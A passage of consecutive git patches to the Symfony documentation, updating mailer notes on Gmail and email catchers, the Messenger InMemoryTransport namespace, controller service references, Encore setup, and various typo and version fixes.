+            ;
 
             $services->set('mailer', 'Mailer')
                 // the param() method was introduced in Symfony 5.2.

From c7a77e3d366c06b2cfd6f070758d5c6d332cf2e3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Dec 2022 17:01:21 +0100
Subject: [PATCH 2635/5766] [Messenger] Update the namespace of
 `InMemoryTransport` class

---
 messenger.rst                  | 8 +++++++-
 messenger/custom-transport.rst | 2 +-
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e197b14ae3d..c21c6d5f684 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1681,7 +1681,7 @@ during a request::
     namespace App\Tests\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-    use Symfony\Component\Messenger\Transport\InMemoryTransport;
+    use Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport;
 
     class DefaultControllerTest extends WebTestCase
     {
@@ -1698,6 +1698,12 @@ during a request::
         }
     }
 
+.. versionadded:: 6.3
+
+    The namespace of the ``InMemoryTransport`` class changed in Symfony 6.3 from
+    ``Symfony\Component\Messenger\Transport\InMemoryTransport`` to
+    ``Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport``.
+
 The transport has a number of options:
 
 ``serialize`` (boolean, default: ``false``)
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e496fcf6263..95eed2ab42e 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -126,7 +126,7 @@ Here is a simplified example of a database transport::
 
 The implementation above is not runnable code but illustrates how a
 :class:`Symfony\\Component\\Messenger\\Transport\\TransportInterface` could
-be implemented. For real implementations see :class:`Symfony\\Component\\Messenger\\Transport\\InMemoryTransport`
+be implemented. For real implementations see :class:`Symfony\\Component\\Messenger\\Transport\\InMemory\\InMemoryTransport`
 and :class:`Symfony\\Component\\Messenger\\Bridge\\Doctrine\\Transport\\DoctrineReceiver`.
 
 Register your Factory

From 0cae5b8fad62db36ac25f9e2f48888b2fcc11496 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 18 Dec 2022 19:03:09 +0100
Subject: [PATCH 2636/5766] Add a note about using Gmail vs an Email catcher

---
 mailer.rst | 25 +++++++++++++++++++++----
 1 file changed, 21 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a4a6daccc5d..c6696f8cf79 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -12,7 +12,6 @@ integration, CSS inlining, file attachments and a lot more. Get them installed w
 
     $ composer require symfony/mailer
 
-
 .. _mailer-transport-setup:
 
 Transport Setup
@@ -105,14 +104,13 @@ native        ``native://default``                      Mailer uses the sendmail
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Instead of using your own SMTP server or sendmail binary, you can send emails via a 3rd party
-provider. Mailer supports several - install whichever you want:
+Instead of using your own SMTP server or sendmail binary, you can send emails
+via a 3rd party provider:
 
 ==================  ==============================================
 Service             Install with
 ==================  ==============================================
 Amazon SES          ``composer require symfony/amazon-mailer``
-Gmail               ``composer require symfony/google-mailer``
 MailChimp           ``composer require symfony/mailchimp-mailer``
 Mailgun             ``composer require symfony/mailgun-mailer``
 Mailjet             ``composer require symfony/mailjet-mailer``
@@ -122,6 +120,14 @@ Sendinblue          ``composer require symfony/sendinblue-mailer``
 OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 ==================  ==============================================
 
+.. note::
+
+    As a convenience, Symfony also provides support for Gmail (``composer
+    require symfony/google-mailer``), but this should not be used in
+    production. In development, you should probably use an :ref:`email catcher
+    <mail-catcher>` instead. Note that most supported providers also provide a
+    free tier.
+
 .. versionadded:: 5.2
 
     The Sendinblue integration was introduced in Symfony 5.2.
@@ -1404,6 +1410,17 @@ is sent::
 Development & Debugging
 -----------------------
 
+.. _mail-catcher:
+
+Enabling an Email Catcher
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When developing locally, it is recommended to use an email catcher. If you have
+enabled Docker support via Symfony recipes, an email catcher is automatically
+configured. In addition, if you are using the :doc:`Symfony local web server
+</setup/symfony_server>`, the mailer DSN is automatically exposed via the
+:ref:`symfony binary Docker integration <symfony-server-docker>`.
+
 Disabling Delivery
 ~~~~~~~~~~~~~~~~~~
 

From 9664bf2254242ed935c6a1a346d11e9e2d51f242 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 19 Dec 2022 11:59:35 +0100
Subject: [PATCH 2637/5766] Minor tweak

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index c6696f8cf79..93fc5b4d66f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -105,7 +105,7 @@ Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Instead of using your own SMTP server or sendmail binary, you can send emails
-via a 3rd party provider:
+via a third-party provider:
 
 ==================  ==============================================
 Service             Install with
@@ -125,7 +125,7 @@ OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
     As a convenience, Symfony also provides support for Gmail (``composer
     require symfony/google-mailer``), but this should not be used in
     production. In development, you should probably use an :ref:`email catcher
-    <mail-catcher>` instead. Note that most supported providers also provide a
+    <mail-catcher>` instead. Note that most supported providers also offer a
     free tier.
 
 .. versionadded:: 5.2

From 29b6dbd525897b5dd27f680feeb3f39ebbea3720 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 18 Dec 2022 20:53:17 +0100
Subject: [PATCH 2638/5766] Tell composer action is need to regenerate autoload

---
 components/runtime.rst                   | 3 +++
 configuration/override_dir_structure.rst | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index fac78dd82dd..7b187acaeee 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -329,6 +329,9 @@ You can also configure ``extra.runtime`` in ``composer.json``:
         }
     }
 
+Then, update your Composer files (running ``composer dump-autoload``, for instance),
+so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new option.
+
 The following options are supported by the ``SymfonyRuntime``:
 
 ``env`` (default: ``APP_ENV`` environment variable, or ``"dev"``)
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 73f65c9171f..808fb6f923f 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -49,7 +49,7 @@ define the ``runtime.dotenv_path`` option in the ``composer.json`` file:
         }
     }
 
-Then, update your Composer files (running ``composer update``, for instance),
+Then, update your Composer files (running ``composer dump-autoload``, for instance),
 so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new
 ``.env`` path.
 

From 229f9bd41aba0b8f99be4419deba68ae066c583e Mon Sep 17 00:00:00 2001
From: Evert Harmeling <evertharmeling@gmail.com>
Date: Wed, 21 Dec 2022 11:27:54 +0100
Subject: [PATCH 2639/5766] Replace service name with FQCN class reference

As there isn't any mention of `app.hello_controller` (no definition) and the previous chapter mentioned using the FQCN is what Symfony recommends (it eases refactoring, especially for `php` configuration) it makes much more sense to make use of the FQCN as the service identifier.

And lined up the `yaml`-config (as done in the rest of the documentation; routing chapter)
---
 controller/service.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index 724143e3046..f034f524f12 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -100,9 +100,9 @@ a service like: ``App\Controller\HelloController::index``:
 
         # config/routes.yaml
         hello:
-            path:     /hello
+            path:       /hello
             controller: App\Controller\HelloController::index
-            methods: GET
+            methods:    GET
 
     .. code-block:: xml
 
@@ -181,8 +181,8 @@ which is a common practice when following the `ADR pattern`_
 
         # config/routes.yaml
         hello:
-            path:     /hello/{name}
-            controller: app.hello_controller
+            path:       /hello/{name}
+            controller: App\Controller\HelloController
 
     .. code-block:: xml
 
@@ -194,16 +194,18 @@ which is a common practice when following the `ADR pattern`_
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
             <route id="hello" path="/hello/{name}">
-                <default key="_controller">app.hello_controller</default>
+                <default key="_controller">App\Controller\HelloController</default>
             </route>
 
         </routes>
 
     .. code-block:: php
 
+        use App\Controller\HelloController;
+
         // app/config/routing.php
         $collection->add('hello', new Route('/hello', [
-            '_controller' => 'app.hello_controller',
+            '_controller' => HelloController::class,
         ]));
 
 Alternatives to base Controller Methods

From 4e5b1d684436d7bc3cd55d81dd7c186d641070b3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Dec 2022 11:49:50 +0100
Subject: [PATCH 2640/5766] Fix merge conflicts

---
 mailer.rst | 11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0cb018a9a0f..45be91a7cc4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,16 +112,12 @@ MailPace            ``composer require symfony/mailpace-mailer``
 Infobip             ``composer require symfony/infobip-mailer``
 ==================  ==============================================
 
-<<<<<<< HEAD
 .. versionadded:: 6.2
 
-    The ``MailPace`` integration was introduced in Symfony 6.2 (in previous
-    Symfony versions it was called ``OhMySMTP``).
+    The Infobip integration was introduced in Symfony 6.2 and the ``MailPace``
+    integration was renamed in Symfony 6.2 (in previous Symfony versions it was
+    called ``OhMySMTP``).
 
-.. versionadded:: 6.2
-
-    The Infobip integration was introduced in Symfony 6.2.
-=======
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -129,7 +125,6 @@ Infobip             ``composer require symfony/infobip-mailer``
     production. In development, you should probably use an :ref:`email catcher
     <mail-catcher>` instead. Note that most supported providers also offer a
     free tier.
->>>>>>> 6.1
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to

From 198418d68e6973a17b96f79002655688bf232606 Mon Sep 17 00:00:00 2001
From: Xavier Laviron <norival@users.noreply.github.com>
Date: Wed, 21 Dec 2022 15:48:00 +0100
Subject: [PATCH 2641/5766] fix: typo

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index ac11a23650b..70784bf4853 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -912,7 +912,7 @@ Learn more about user checkers in :doc:`/security/user_checkers`.
 providers
 ---------
 
-This options defines how the application users are loaded (from a database,
+This option defines how the application users are loaded (from a database,
 an LDAP server, a configuration file, etc.) Read
 :doc:`/security/user_providers` to learn more about each of those
 providers.

From 7726f6bc6f420da7ded2998598cba07a974388fb Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 19 Dec 2022 21:13:03 -0500
Subject: [PATCH 2642/5766] Clarifying not about Encore outside of Symfony

---
 frontend/encore/installation.rst   | 17 ++++++++++++++++-
 frontend/encore/simple-example.rst |  7 ++++---
 2 files changed, 20 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index bcd59f8395e..118e15e7b0e 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -139,6 +139,9 @@ is the main config file for both Webpack and Webpack Encore:
 
     module.exports = Encore.getWebpackConfig();
 
+Creating Other Supporting File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 Next, open the new ``assets/app.js`` file which contains some JavaScript code
 *and* imports some CSS:
 
@@ -185,7 +188,7 @@ a system that you'll learn about soon:
     // register any custom, 3rd party controllers here
     // app.register('some_controller_name', SomeImportedController);
 
-And finally, create an ``assets/controllers.json`` file, which also fits into
+Then create an ``assets/controllers.json`` file, which also fits into
 the Stimulus system:
 
 .. code-block:: json
@@ -195,6 +198,18 @@ the Stimulus system:
         "entrypoints": []
     }
 
+Finally, though it's optional, add the following ``scripts`` to your ``package.json``
+file so you can run the same commands in the rest of the documentation:
+
+.. code-block:: json
+
+    "scripts": {
+        "dev-server": "encore dev-server",
+        "dev": "encore dev",
+        "watch": "encore dev --watch",
+        "build": "encore production --progress"
+    }
+
 You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`.
 When you execute Encore, it will ask you to install a few more dependencies based
 on which features of Encore you have enabled.
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 9a8f89e9b06..c2fc50289a5 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -154,9 +154,10 @@ template: the paths in ``entrypoints.json`` will always be the final, correct pa
 And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even
 more files), all the necessary ``script`` and ``link`` tags will render automatically.
 
-If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
-point to the final, built file directly. ``entrypoints.json`` is only required for
-some optional features.
+If you are not using Symfony you won't have the ``encore_entry_*`` functions available.
+Instead, you can point directly to the final built files or write code to parse
+``entrypoints.json`` manually. The entrypoints file is needed only if you're using
+certain optional features, like ``splitEntryChunks()``.
 
 .. versionadded:: 1.9.0
 

From 98a1dcab20c5324b09fc7f088d63a06195a4133b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 18 Dec 2022 21:19:36 +0100
Subject: [PATCH 2643/5766] Remove reference to 2.x, 3.x, 4.x versions

---
 components/browser_kit.rst                           |  7 -------
 components/config/definition.rst                     |  2 +-
 .../event_dispatcher/container_aware_dispatcher.rst  | 10 ----------
 components/filesystem/lock_handler.rst               |  7 -------
 contributing/code/bc.rst                             |  5 -----
 profiler.rst                                         | 12 ++++--------
 service_container.rst                                |  7 ++-----
 7 files changed, 7 insertions(+), 43 deletions(-)
 delete mode 100644 components/event_dispatcher/container_aware_dispatcher.rst
 delete mode 100644 components/filesystem/lock_handler.rst

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index a2afe27c0bc..bfaad93d4f9 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -8,13 +8,6 @@ The BrowserKit Component
     The BrowserKit component simulates the behavior of a web browser, allowing
     you to make requests, click on links and submit forms programmatically.
 
-.. note::
-
-    In Symfony versions prior to 4.3, the BrowserKit component could only make
-    internal requests to your application. Starting from Symfony 4.3, this
-    component can also :ref:`make HTTP requests to any public site <component-browserkit-external-requests>`
-    when using it in combination with the :doc:`HttpClient component </http_client>`.
-
 Installation
 ------------
 
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 8ad8ae1b0c9..29d0715e722 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -780,7 +780,7 @@ the following ways:
 - ``ifTrue()``
 - ``ifString()``
 - ``ifNull()``
-- ``ifEmpty()`` (since Symfony 3.2)
+- ``ifEmpty()``
 - ``ifArray()``
 - ``ifInArray()``
 - ``ifNotInArray()``
diff --git a/components/event_dispatcher/container_aware_dispatcher.rst b/components/event_dispatcher/container_aware_dispatcher.rst
deleted file mode 100644
index 659a94cee7a..00000000000
--- a/components/event_dispatcher/container_aware_dispatcher.rst
+++ /dev/null
@@ -1,10 +0,0 @@
-.. index::
-   single: EventDispatcher; Service container aware
-
-The Container Aware Event Dispatcher
-====================================
-
-.. caution::
-
-    The ``ContainerAwareEventDispatcher`` was removed in Symfony 4.0. Use
-    ``EventDispatcher`` with closure-proxy injection instead.
diff --git a/components/filesystem/lock_handler.rst b/components/filesystem/lock_handler.rst
deleted file mode 100644
index 5997fd3887b..00000000000
--- a/components/filesystem/lock_handler.rst
+++ /dev/null
@@ -1,7 +0,0 @@
-LockHandler
-===========
-
-.. caution::
-
-    The ``LockHandler`` utility was removed in Symfony 4.0. Use the new Symfony
-    :doc:`Lock component </components/lock>` instead.
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 3f1e6164087..4c5eb1d4ca2 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -12,11 +12,6 @@ that release branch (5.x in the previous example).
 We also provide deprecation message triggered in the code base to help you with
 the migration process across major releases.
 
-.. caution::
-
-    This promise was introduced with Symfony 2.3 and does not apply to previous
-    versions of Symfony.
-
 However, backward compatibility comes in many different flavors. In fact, almost
 every change that we make to the framework can potentially break an application.
 For example, if we add a new method to a class, this will break an application
diff --git a/profiler.rst b/profiler.rst
index 49e804f45b2..42e925b89c8 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -110,16 +110,12 @@ need to create a custom data collector. Instead, use the built-in utilities to
     Consider using a professional profiler such as `Blackfire`_ to measure and
     analyze the execution of your application in detail.
 
-Enabling the Profiler Conditionally
------------------------------------
+.. _enabling-the-profiler-conditionally:
 
-.. caution::
-
-    The possibility to use a matcher to enable the profiler conditionally was
-    removed in Symfony 4.0.
+Enabling the Profiler Programmatically
+--------------------------------------
 
-Symfony Profiler cannot be enabled/disabled conditionally using matchers, because
-that feature was removed in Symfony 4.0. However, you can use the ``enable()``
+Symfony Profiler can be enabled and disabled programmatically. You can use the ``enable()``
 and ``disable()`` methods of the :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler`
 class in your controllers to manage the profiler programmatically::
 
diff --git a/service_container.rst b/service_container.rst
index d1ceb094333..f2be38267d6 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1074,11 +1074,8 @@ unique string as the key of each service config:
 Explicitly Configuring Services and Arguments
 ---------------------------------------------
 
-Prior to Symfony 3.3, all services and (typically) arguments were explicitly configured:
-it was not possible to :ref:`load services automatically <service-container-services-load-example>`
-and :ref:`autowiring <services-autowire>` was much less common.
-
-Both of these features are optional. And even if you use them, there may be some
+:ref:`Loading services automatically <service-container-services-load-example>`
+and :ref:`autowiring <services-autowire>` are optional. And even if you use them, there may be some
 cases where you want to manually wire a service. For example, suppose that you want
 to register *2* services for the ``SiteUpdateManager`` class - each with a different
 admin email. In this case, each needs to have a unique service id:

From 1a25297db857a8cb41a7cb30a7ac215b4c00f92d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?G=C3=A1bor=20Egyed?= <gabor.egyed@gmail.com>
Date: Fri, 23 Dec 2022 22:22:37 +0100
Subject: [PATCH 2644/5766] [Mailer] Add a note about how to use the Gmail
 provider

---
 mailer.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 93fc5b4d66f..0cf1dc2a34c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -177,7 +177,7 @@ party provider:
 Provider             SMTP                                                 HTTP                                        API
 ==================== ==================================================== =========================================== ========================================
 Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
-Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
+Google Gmail         gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
 Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
 Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
@@ -214,6 +214,15 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
         The usage of ``default_socket_timeout`` as the default timeout was
         introduced in Symfony 5.1.
 
+.. note::
+
+    To use Google Gmail, you must have a Google Account with 2-Step-Verification (2FA)
+    enabled and you must use `App Password`_ to authenticate. Also note that Google
+    revokes your App Passwords when you change your Google Account password and then
+    you need to generate a new one.
+    Using other methods (like ``XOAUTH2`` or the ``Gmail API``) are not supported currently.
+    You should use Gmail for testing purposes only and use a real provider in production. 
+
 .. tip::
 
     If you want to override the default host for a provider (to debug an issue using
@@ -1564,3 +1573,4 @@ you can use the built in assertions::
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+.. _`App Password`: https://support.google.com/accounts/answer/185833

From 34745bf96c003ffb09aa8b376f1c239b8fc97f50 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 24 Dec 2022 13:24:19 +0100
Subject: [PATCH 2645/5766] [HttpKernel] Add option to render Surrogate
 fragment with absolute URIs

---
 http_cache/esi.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 1e10313b982..e52bbfacf3c 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -267,7 +267,7 @@ possible.
     signed when using the fragment renderer and the ``render_esi`` Twig
     function.
 
-The ``render_esi`` helper supports two other useful options:
+The ``render_esi`` helper supports three other useful options:
 
 ``alt``
     Used as the ``alt`` attribute on the ESI tag, which allows you to specify an
@@ -278,4 +278,11 @@ The ``render_esi`` helper supports two other useful options:
     of ``continue`` indicating that, in the event of a failure, the gateway cache
     will remove the ESI tag silently.
 
+``absolute_uri``
+     If set to true, an absolute URI will be generated. **default**: ``false``
+
+.. versionadded:: 6.2
+
+    The ``absolute_uri`` option was introduced in Symfony 6.2.
+
 .. _`ESI`: http://www.w3.org/TR/esi-lang

From 608618e37ce1fa732bcd5b260dd7c6f7557d72e6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 24 Dec 2022 16:46:34 +0100
Subject: [PATCH 2646/5766] Update confusing first class callable syntax

---
 components/validator.rst               | 2 +-
 controller.rst                         | 6 +++---
 form/data_transformers.rst             | 2 +-
 form/validation_groups.rst             | 2 +-
 http_client.rst                        | 2 +-
 logging/monolog_exclude_http_codes.rst | 2 +-
 messenger.rst                          | 6 +++---
 testing.rst                            | 2 +-
 8 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/components/validator.rst b/components/validator.rst
index a88b13d0089..8698934c0a0 100644
--- a/components/validator.rst
+++ b/components/validator.rst
@@ -57,7 +57,7 @@ If you have lots of validation errors, you can filter them by error code::
 
     use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
 
-    $violations = $validator->validate(...);
+    $violations = $validator->validate(/* ... */);
     if (0 !== count($violations->findByCodes(UniqueEntity::NOT_UNIQUE_ERROR))) {
         // handle this specific error (display some message, send an email, etc.)
     }
diff --git a/controller.rst b/controller.rst
index 0fb8751cbf8..ee9bc0d410a 100644
--- a/controller.rst
+++ b/controller.rst
@@ -340,7 +340,7 @@ special type of exception::
             // throw new NotFoundHttpException('The product does not exist');
         }
 
-        return $this->render(...);
+        return $this->render(/* ... */);
     }
 
 The :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::createNotFoundException`
@@ -461,10 +461,10 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
             );
             // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add()
 
-            return $this->redirectToRoute(...);
+            return $this->redirectToRoute(/* ... */);
         }
 
-        return $this->render(...);
+        return $this->render(/* ... */);
     }
 
 After processing the request, the controller sets a flash message in the session
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index cf32ca134a0..ff3b25147fc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -112,7 +112,7 @@ slightly::
     $builder->add(
         $builder
             ->create('tags', TextType::class)
-            ->addModelTransformer(...)
+            ->addModelTransformer(/* ... */)
     );
 
 Example #2: Transforming an Issue Number into an Issue Entity
diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index a215ed02aba..609afac8689 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -13,7 +13,7 @@ this as an option when :ref:`creating forms in controllers <creating-forms-in-co
 
     $form = $this->createFormBuilder($user, [
         'validation_groups' => ['registration'],
-    ])->add(...);
+    ])->add(/* ... */);
 
 When :ref:`creating forms in classes <creating-forms-in-classes>`, add the
 following to the ``configureOptions()`` method::
diff --git a/http_client.rst b/http_client.rst
index 44498e9946a..30c19eba07d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1257,7 +1257,7 @@ that network errors can happen when calling e.g. ``getStatusCode()`` too::
     // ...
     try {
         // both lines can potentially throw
-        $response = $client->request(...);
+        $response = $client->request(/* ... */);
         $headers = $response->getHeaders();
         // ...
     } catch (TransportExceptionInterface $e) {
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index a064370d0c5..d698752f06a 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -55,7 +55,7 @@ logging these HTTP codes based on the MonologBundle configuration:
             $mainHandler = $monolog->handler('main')
                 // ...
                 ->type('fingers_crossed')
-                ->handler(...)
+                ->handler('...')
             ;
 
             $mainHandler->excludedHttpCode()->code(403);
diff --git a/messenger.rst b/messenger.rst
index c6100b0fd62..a49de0d2276 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1917,7 +1917,7 @@ this globally (or for each transport) to a service that implements
                     ->context('foo', 'bar');
 
             $messenger->transport('async_priority_normal')
-                ->dsn(...)
+                ->dsn('...')
                 ->serializer('messenger.transport.symfony_serializer');
         };
 
@@ -2180,8 +2180,8 @@ Then, make sure to "route" your message to *both* transports:
         return static function (FrameworkConfig $framework) {
             $messenger = $framework->messenger();
 
-            $messenger->transport('async_priority_normal')->dsn(...);
-            $messenger->transport('image_transport')->dsn(...);
+            $messenger->transport('async_priority_normal')->dsn('...');
+            $messenger->transport('image_transport')->dsn('...');
 
             $messenger->routing('App\Message\UploadedImage')
                 ->senders(['image_transport', 'async_priority_normal']);
diff --git a/testing.rst b/testing.rst
index a092a7b5bfa..0e7d861894f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -267,7 +267,7 @@ the container is returned by ``static::getContainer()``::
 
             // (3) run some service & test the result
             $newsletterGenerator = $container->get(NewsletterGenerator::class);
-            $newsletter = $newsletterGenerator->generateMonthlyNews(...);
+            $newsletter = $newsletterGenerator->generateMonthlyNews(/* ... */);
 
             $this->assertEquals('...', $newsletter->getContent());
         }

From 637d688f462d049ca4f6068faa9a385994cd51ec Mon Sep 17 00:00:00 2001
From: Grzegorz Zdanowski <grzegorz@noflash.pl>
Date: Sat, 24 Dec 2022 22:56:14 -0600
Subject: [PATCH 2647/5766] Fix invalid yaml for password hashing in test env

---
 security/passwords.rst | 27 +++++++++++++++------------
 1 file changed, 15 insertions(+), 12 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 47f5e7f0424..2a2f7acc336 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -134,19 +134,22 @@ Further in this article, you can find a
     .. configuration-block::
 
         .. code-block:: yaml
-
+        
             # config/packages/test/security.yaml
-            password_hashers:
-                # Use your user class name here
-                App\Entity\User:
-                    algorithm: plaintext # disable hashing (only do this in tests!)
-
-                # or use the lowest possible values
-                App\Entity\User:
-                    algorithm: auto # This should be the same value as in config/packages/security.yaml
-                    cost: 4 # Lowest possible value for bcrypt
-                    time_cost: 3 # Lowest possible value for argon
-                    memory_cost: 10 # Lowest possible value for argon
+            security:
+                # ...
+
+                password_hashers:
+                    # Use your user class name here
+                    App\Entity\User:
+                        algorithm: plaintext # disable hashing (only do this in tests!)
+
+                    # or use the lowest possible values
+                    App\Entity\User:
+                        algorithm: auto # This should be the same value as in config/packages/security.yaml
+                        cost: 4 # Lowest possible value for bcrypt
+                        time_cost: 3 # Lowest possible value for argon
+                        memory_cost: 10 # Lowest possible value for argon
 
         .. code-block:: xml
 

From 804f01772635581df66e5bd65ea7130f2ad874a2 Mon Sep 17 00:00:00 2001
From: Grzegorz Zdanowski <grzegorz@noflash.pl>
Date: Sat, 24 Dec 2022 22:59:28 -0600
Subject: [PATCH 2648/5766] Bump Symfony version

---
 contributing/documentation/overview.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 78e90d04483..2ea1054eb7b 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -112,16 +112,16 @@ memorable name for the new branch (if you are fixing a reported issue, use
 
 .. code-block:: terminal
 
-    $ git checkout -b improve_install_article upstream/4.4
+    $ git checkout -b improve_install_article upstream/5.4
 
 In this example, the name of the branch is ``improve_install_article`` and the
-``upstream/4.4`` value tells Git to create this branch based on the ``4.4``
+``upstream/5.4`` value tells Git to create this branch based on the ``5.4``
 branch of the ``upstream`` remote, which is the original Symfony Docs repository.
 
 Fixes should always be based on the **oldest maintained branch** which contains
-the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
+the error. Nowadays this is the ``5.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/5.4``.
+``upstream/6.2``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the
@@ -155,7 +155,7 @@ changes should be applied:
    :align: center
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
-the **base** branch should be the ``4.4``, which is the branch that you selected
+the **base** branch should be the ``5.4``, which is the branch that you selected
 to base your changes on. The **head fork** should be your forked copy
 of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``,
 which is the name of the branch you created and where you made your changes.
